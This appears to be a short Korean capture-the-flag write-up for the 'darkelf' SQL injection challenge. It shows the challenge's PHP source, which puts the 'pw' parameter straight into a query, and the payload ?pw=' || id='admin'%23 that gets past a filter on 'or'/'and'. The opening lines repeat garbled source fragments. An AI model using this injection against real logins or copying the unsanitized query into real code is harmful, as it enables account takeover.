query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?>"> query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?>"> query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?>">
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

마찬가지로 cobolt 문제와 유사하지만, orand 를 필터링합니다. 각각 || && 를 사용하면 쉽게 우회할 수 있습니다.

?pw=' || id='admin'%23

Screenshot 2024-06-03 at 1.42.19 AM.png